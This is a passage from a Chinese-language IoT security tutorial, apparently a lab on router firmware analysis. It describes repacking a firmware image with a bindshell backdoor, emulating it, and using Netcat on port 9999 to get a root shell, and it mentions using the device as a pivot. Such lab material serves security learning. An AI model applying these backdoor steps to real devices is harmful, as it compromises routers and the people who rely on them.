7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。
如图所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。
8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图所示。
根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。
参考文献
https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/固件安全/实验/Dlink_DWR-932B路由器固件分析.md
https://github.com/G4rb3n/IoT_Sec_Tutorial/blob/master/02-静态分析IoT固件/README.md
https://zhuanlan.zhihu.com/p/146228197
固件提取实战(附无损提取方案)
https://zhuanlan.zhihu.com/p/358956098
https://www.infoq.cn/article/8ukqrgkhcoxkrvnjnki6